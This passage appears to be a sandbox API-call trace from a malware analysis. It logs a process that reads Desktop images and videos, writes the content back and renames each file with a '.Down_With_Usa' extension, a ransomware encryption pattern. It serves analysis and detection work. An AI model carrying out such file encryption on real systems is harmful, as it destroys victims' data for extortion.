[0112.510] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\n4T6IDvbZzl.jpg", nBufferLength=0x105, lpBuffer=0x2eb8c0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\n4T6IDvbZzl.jpg", lpFilePart=0x0) returned 0x35
[0112.510] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2ebda0) returned 1
[0112.510] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\n4T6IDvbZzl.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\n4t6idvbzzl.jpg"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x3a0
[0112.512] GetFileType (hFile=0x3a0) returned 0x1
[0112.512] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2ebd10) returned 1
[0112.512] GetFileType (hFile=0x3a0) returned 0x1
[0112.512] WriteFile (in: hFile=0x3a0, lpBuffer=0x28114c8*, nNumberOfBytesToWrite=0x22f0, lpNumberOfBytesWritten=0x2ebec8, lpOverlapped=0x0 | out: lpBuffer=0x28114c8*, lpNumberOfBytesWritten=0x2ebec8*=0x22f0, lpOverlapped=0x0) returned 1
[0112.514] CloseHandle (hObject=0x3a0) returned 1
[0112.533] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\n4T6IDvbZzl.jpg", nBufferLength=0x105, lpBuffer=0x2eba60, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\n4T6IDvbZzl.jpg", lpFilePart=0x0) returned 0x35
[0112.533] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\n4T6IDvbZzl.jpg.Down_With_Usa", nBufferLength=0x105, lpBuffer=0x2eba60, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\n4T6IDvbZzl.jpg.Down_With_Usa", lpFilePart=0x0) returned 0x43
[0112.533] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2ebea0) returned 1
[0112.533] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\n4T6IDvbZzl.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\n4t6idvbzzl.jpg"), fInfoLevelId=0x0, lpFileInformation=0x2ebf80 | out: lpFileInformation=0x2ebf80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe353ad30, ftCreationTime.dwHighDateTime=0x1d5e40c, ftLastAccessTime.dwLowDateTime=0xe086a800, ftLastAccessTime.dwHighDateTime=0x1d5db9c, ftLastWriteTime.dwLowDateTime=0x1f972740, ftLastWriteTime.dwHighDateTime=0x1d6a96f, nFileSizeHigh=0x0, nFileSizeLow=0x22f0)) returned 1
[0112.533] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2ebe60) returned 1
[0112.533] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\n4T6IDvbZzl.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\n4t6idvbzzl.jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\n4T6IDvbZzl.jpg.Down_With_Usa" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\n4t6idvbzzl.jpg.down_with_usa")) returned 1
[0112.536] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\pCGd4Vc-Rq9F HN9_jrM.mp4", nBufferLength=0x105, lpBuffer=0x2eb8b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\pCGd4Vc-Rq9F HN9_jrM.mp4", lpFilePart=0x0) returned 0x3e
[0112.536] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2ebd90) returned 1
[0112.536] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\pCGd4Vc-Rq9F HN9_jrM.mp4" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\pcgd4vc-rq9f hn9_jrm.mp4"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x3a0
[0112.536] GetFileType (hFile=0x3a0) returned 0x1
[0112.536] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2ebd00) returned 1
[0112.536] GetFileType (hFile=0x3a0) returned 0x1
[0112.536] GetFileSize (in: hFile=0x3a0, lpFileSizeHigh=0x2ebf28 | out: lpFileSizeHigh=0x2ebf28*=0x0) returned 0x1387d
[0112.537] ReadFile (in: hFile=0x3a0, lpBuffer=0x2813d50, nNumberOfBytesToRead=0x1387d, lpNumberOfBytesRead=0x2ebe58, lpOverlapped=0x0 | out: lpBuffer=0x2813d50*, lpNumberOfBytesRead=0x2ebe58*=0x1387d, lpOverlapped=0x0) returned 1
[0112.539] CloseHandle (hObject=0x3a0) returned 1
[0112.581] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\pCGd4Vc-Rq9F HN9_jrM.mp4", nBufferLength=0x105, lpBuffer=0x2eb8c0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\pCGd4Vc-Rq9F HN9_jrM.mp4", lpFilePart=0x0) returned 0x3e
[0112.581] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2ebda0) returned 1
[0112.581] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\pCGd4Vc-Rq9F HN9_jrM.mp4" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\pcgd4vc-rq9f hn9_jrm.mp4"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x3a0
[0112.585] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2ebd10) returned 1
[0112.592] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\pCGd4Vc-Rq9F HN9_jrM.mp4", nBufferLength=0x105, lpBuffer=0x2eba60, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\pCGd4Vc-Rq9F HN9_jrM.mp4", lpFilePart=0x0) returned 0x3e
[0112.592] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\pCGd4Vc-Rq9F HN9_jrM.mp4.Down_With_Usa", nBufferLength=0x105, lpBuffer=0x2eba60, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\pCGd4Vc-Rq9F HN9_jrM.mp4.Down_With_Usa", lpFilePart=0x0) returned 0x4c
[0112.592] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2ebea0) returned 1
[0112.592] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\pCGd4Vc-Rq9F HN9_jrM.mp4" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\pcgd4vc-rq9f hn9_jrm.mp4"), fInfoLevelId=0x0, lpFileInformation=0x2ebf80 | out: lpFileInformation=0x2ebf80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xff166fa0, ftCreationTime.dwHighDateTime=0x1d5d94c, ftLastAccessTime.dwLowDateTime=0x3cea9da0, ftLastAccessTime.dwHighDateTime=0x1d5e6dc, ftLastWriteTime.dwLowDateTime=0x1f9e4b60, ftLastWriteTime.dwHighDateTime=0x1d6a96f, nFileSizeHigh=0x0, nFileSizeLow=0x13880)) returned 1
[0112.592] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2ebe60) returned 1
[0112.592] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\pCGd4Vc-Rq9F HN9_jrM.mp4" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\pcgd4vc-rq9f hn9_jrm.mp4"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\pCGd4Vc-Rq9F HN9_jrM.mp4.Down_With_Usa" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\pcgd4vc-rq9f hn9_jrm.mp4.down_with_usa")) returned 1
[0112.594] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\PTubNm8c7Zfy5cv7.png", nBufferLength=0x105, lpBuffer=0x2eb8b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\PTubNm8c7Zfy5cv7.png", lpFilePart=0x0) returned 0x3a
[0112.594] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2ebd90) returned 1
[0112.594] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\PTubNm8c7Zfy5cv7.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\ptubnm8c7zfy5cv7.png"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x3a0
[0112.594] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2ebd00) returned 1
[0112.594] GetFileSize (in: hFile=0x3a0, lpFileSizeHigh=0x2ebf28 | out: lpFileSizeHigh=0x2ebf28*=0x0) returned 0x1678d
[0112.595] ReadFile (in: hFile=0x3a0, lpBuffer=0x13fbb1b0, nNumberOfBytesToRead=0x1678d, lpNumberOfBytesRead=0x2ebe58, lpOverlapped=0x0 | out: lpBuffer=0x13fbb1b0*, lpNumberOfBytesRead=0x2ebe58*=0x1678d, lpOverlapped=0x0) returned 1
[0112.677] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\PTubNm8c7Zfy5cv7.png", nBufferLength=0x105, lpBuffer=0x2eb8c0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\PTubNm8c7Zfy5cv7.png", lpFilePart=0x0) returned 0x3a
[0112.677] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2ebda0) returned 1
[0112.677] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\PTubNm8c7Zfy5cv7.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\ptubnm8c7zfy5cv7.png"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x3a0
[0112.680] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2ebd10) returned 1
[0112.686] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\PTubNm8c7Zfy5cv7.png", nBufferLength=0x105, lpBuffer=0x2eba60, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\PTubNm8c7Zfy5cv7.png", lpFilePart=0x0) returned 0x3a
[0112.686] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\PTubNm8c7Zfy5cv7.png.Down_With_Usa", nBufferLength=0x105, lpBuffer=0x2eba60, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\PTubNm8c7Zfy5cv7.png.Down_With_Usa", lpFilePart=0x0) returned 0x48
[0112.686] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2ebea0) returned 1
[0112.686] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\PTubNm8c7Zfy5cv7.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\ptubnm8c7zfy5cv7.png"), fInfoLevelId=0x0, lpFileInformation=0x2ebf80 | out: lpFileInformation=0x2ebf80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x49d1c260, ftCreationTime.dwHighDateTime=0x1d5e5e6, ftLastAccessTime.dwLowDateTime=0x9eaf8e50, ftLastAccessTime.dwHighDateTime=0x1d5dff3, ftLastWriteTime.dwLowDateTime=0x1fac93a0, ftLastWriteTime.dwHighDateTime=0x1d6a96f, nFileSizeHigh=0x0, nFileSizeLow=0x16790)) returned 1
[0112.686] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2ebe60) returned 1
[0112.686] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\PTubNm8c7Zfy5cv7.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\ptubnm8c7zfy5cv7.png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\PTubNm8c7Zfy5cv7.png.Down_With_Usa" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\ptubnm8c7zfy5cv7.png.down_with_usa")) returned 1
[0112.688] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\PYj9g_.gif", nBufferLength=0x105, lpBuffer=0x2eb8b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\PYj9g_.gif", lpFilePart=0x0) returned 0x30
[0112.688] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2ebd90) returned 1
[0112.688] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\PYj9g_.gif" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\pyj9g_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x3a0
[0112.688] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2ebd00) returned 1
[0112.688] GetFileSize (in: hFile=0x3a0, lpFileSizeHigh=0x2ebf28 | out: lpFileSizeHigh=0x2ebf28*=0x0) returned 0x2403
[0112.688] ReadFile (in: hFile=0x3a0, lpBuffer=0x262a860, nNumberOfBytesToRead=0x2403, lpNumberOfBytesRead=0x2ebe58, lpOverlapped=0x0 | out: lpBuffer=0x262a860*, lpNumberOfBytesRead=0x2ebe58*=0x2403, lpOverlapped=0x0) returned 1
[0112.719] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\PYj9g_.gif", nBufferLength=0x105, lpBuffer=0x2eb8c0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\PYj9g_.gif", lpFilePart=0x0) returned 0x30
[0112.719] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2ebda0) returned 1
[0112.719] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\PYj9g_.gif" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\pyj9g_.gif"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x3a0
[0112.721] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2ebd10) returned 1
[0112.723] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\PYj9g_.gif", nBufferLength=0x105, lpBuffer=0x2eba60, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\PYj9g_.gif", lpFilePart=0x0) returned 0x30
[0112.723] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\PYj9g_.gif.Down_With_Usa", nBufferLength=0x105, lpBuffer=0x2eba60, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\PYj9g_.gif.Down_With_Usa", lpFilePart=0x0) returned 0x3e
[0112.724] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2ebea0) returned 1
[0112.724] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\PYj9g_.gif" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\pyj9g_.gif"), fInfoLevelId=0x0, lpFileInformation=0x2ebf80 | out: lpFileInformation=0x2ebf80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72ce0ee0, ftCreationTime.dwHighDateTime=0x1d5df8c, ftLastAccessTime.dwLowDateTime=0xac65ecd0, ftLastAccessTime.dwHighDateTime=0x1d5e064, ftLastWriteTime.dwLowDateTime=0x1fb3b7c0, ftLastWriteTime.dwHighDateTime=0x1d6a96f, nFileSizeHigh=0x0, nFileSizeLow=0x2410)) returned 1
[0112.724] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2ebe60) returned 1
[0112.724] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\PYj9g_.gif" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\pyj9g_.gif"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\PYj9g_.gif.Down_With_Usa" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\pyj9g_.gif.down_with_usa")) returned 1
[0112.726] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\RwBotm2CYZ.bmp", nBufferLength=0x105, lpBuffer=0x2eb8b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\RwBotm2CYZ.bmp", lpFilePart=0x0) returned 0x34
[0112.726] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2ebd90) returned 1
[0112.726] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\RwBotm2CYZ.bmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\rwbotm2cyz.bmp"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x3a0
[0112.726] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2ebd00) returned 1
[0112.726] GetFileSize (in: hFile=0x3a0, lpFileSizeHigh=0x2ebf28 | out: lpFileSizeHigh=0x2ebf28*=0x0) returned 0x35ad
[0112.727] ReadFile (in: hFile=0x3a0, lpBuffer=0x2723ed8, nNumberOfBytesToRead=0x35ad, lpNumberOfBytesRead=0x2ebe58, lpOverlapped=0x0 | out: lpBuffer=0x2723ed8*, lpNumberOfBytesRead=0x2ebe58*=0x35ad, lpOverlapped=0x0) returned 1
[0112.763] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\RwBotm2CYZ.bmp", nBufferLength=0x105, lpBuffer=0x2eb8c0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\RwBotm2CYZ.bmp", lpFilePart=0x0) returned 0x34
[0112.763] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2ebda0) returned 1
[0112.763] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\RwBotm2CYZ.bmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\rwbotm2cyz.bmp"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x3a0
[0112.765] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2ebd10) returned 1
[0112.768] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\RwBotm2CYZ.bmp", nBufferLength=0x105, lpBuffer=0x2eba60, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\RwBotm2CYZ.bmp", lpFilePart=0x0) returned 0x34
[0112.768] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\RwBotm2CYZ.bmp.Down_With_Usa", nBufferLength=0x105, lpBuffer=0x2eba60, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\RwBotm2CYZ.bmp.Down_With_Usa", lpFilePart=0x0) returned 0x42
[0112.768] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2ebea0) returned 1
[0112.768] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\RwBotm2CYZ.bmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\rwbotm2cyz.bmp"), fInfoLevelId=0x0, lpFileInformation=0x2ebf80 | out: lpFileInformation=0x2ebf80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x33939ed0, ftCreationTime.dwHighDateTime=0x1d5dced, ftLastAccessTime.dwLowDateTime=0x113284d0, ftLastAccessTime.dwHighDateTime=0x1d5dd85, ftLastWriteTime.dwLowDateTime=0x1fbadbe0, ftLastWriteTime.dwHighDateTime=0x1d6a96f, nFileSizeHigh=0x0, nFileSizeLow=0x35b0)) returned 1
[0112.768] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2ebe60) returned 1
[0112.768] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\RwBotm2CYZ.bmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\rwbotm2cyz.bmp"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\RwBotm2CYZ.bmp.Down_With_Usa" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\rwbotm2cyz.bmp.down_with_usa")) returned 1
[0112.770] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\UNNnOAAde-h4.jpg", nBufferLength=0x105, lpBuffer=0x2eb8b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\UNNnOAAde-h4.jpg", lpFilePart=0x0) returned 0x36
[0112.770] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2ebd90) returned 1
[0112.770] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\UNNnOAAde-h4.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\unnnoaade-h4.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x3a0
[0112.770] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2ebd00) returned 1
[0112.770] GetFileSize (in: hFile=0x3a0, lpFileSizeHigh=0x2ebf28 | out: lpFileSizeHigh=0x2ebf28*=0x0) returned 0xca7
[0112.770] ReadFile (in: hFile=0x3a0, lpBuffer=0x262aee8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2ebe58, lpOverlapped=0x0 | out: lpBuffer=0x262aee8*, lpNumberOfBytesRead=0x2ebe58*=0xca7, lpOverlapped=0x0) returned 1
[0112.818] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\UNNnOAAde-h4.jpg", nBufferLength=0x105, lpBuffer=0x2eb8c0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\UNNnOAAde-h4.jpg", lpFilePart=0x0) returned 0x36
[0112.818] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2ebda0) returned 1
[0112.818] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\UNNnOAAde-h4.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\unnnoaade-h4.jpg"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x3a0
[0112.820] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2ebd10) returned 1
[0112.821] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\UNNnOAAde-h4.jpg", nBufferLength=0x105, lpBuffer=0x2eba60, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\UNNnOAAde-h4.jpg", lpFilePart=0x0) returned 0x36
[0112.821] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\UNNnOAAde-h4.jpg.Down_With_Usa", nBufferLength=0x105, lpBuffer=0x2eba60, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\UNNnOAAde-h4.jpg.Down_With_Usa", lpFilePart=0x0) returned 0x44
[0112.821] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2ebea0) returned 1
[0112.821] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\UNNnOAAde-h4.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\unnnoaade-h4.jpg"), fInfoLevelId=0x0, lpFileInformation=0x2ebf80 | out: lpFileInformation=0x2ebf80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x695d1f10, ftCreationTime.dwHighDateTime=0x1d5d7c4, ftLastAccessTime.dwLowDateTime=0x2cb950e0, ftLastAccessTime.dwHighDateTime=0x1d5da32, ftLastWriteTime.dwLowDateTime=0x1fc20000, ftLastWriteTime.dwHighDateTime=0x1d6a96f, nFileSizeHigh=0x0, nFileSizeLow=0xcb0)) returned 1
[0112.821] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2ebe60) returned 1
[0112.822] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\UNNnOAAde-h4.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\unnnoaade-h4.jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\UNNnOAAde-h4.jpg.Down_With_Usa" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\unnnoaade-h4.jpg.down_with_usa")) returned 1
[0112.823] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Vzk1n.bmp", nBufferLength=0x105, lpBuffer=0x2eb8b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Vzk1n.bmp", lpFilePart=0x0) returned 0x2f
[0112.823] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2ebd90) returned 1
[0112.823] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Vzk1n.bmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\vzk1n.bmp"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x3a0
[0112.823] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2ebd00) returned 1
[0112.823] GetFileSize (in: hFile=0x3a0, lpFileSizeHigh=0x2ebf28 | out: lpFileSizeHigh=0x2ebf28*=0x0) returned 0xba8c
[0112.823] ReadFile (in: hFile=0x3a0, lpBuffer=0x271ccd8, nNumberOfBytesToRead=0xba8c, lpNumberOfBytesRead=0x2ebe58, lpOverlapped=0x0 | out: lpBuffer=0x271ccd8*, lpNumberOfBytesRead=0x2ebe58*=0xba8c, lpOverlapped=0x0) returned 1
[0112.901] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Vzk1n.bmp", nBufferLength=0x105, lpBuffer=0x2eb8c0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Vzk1n.bmp", lpFilePart=0x0) returned 0x2f
[0112.901] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2ebda0) returned 1
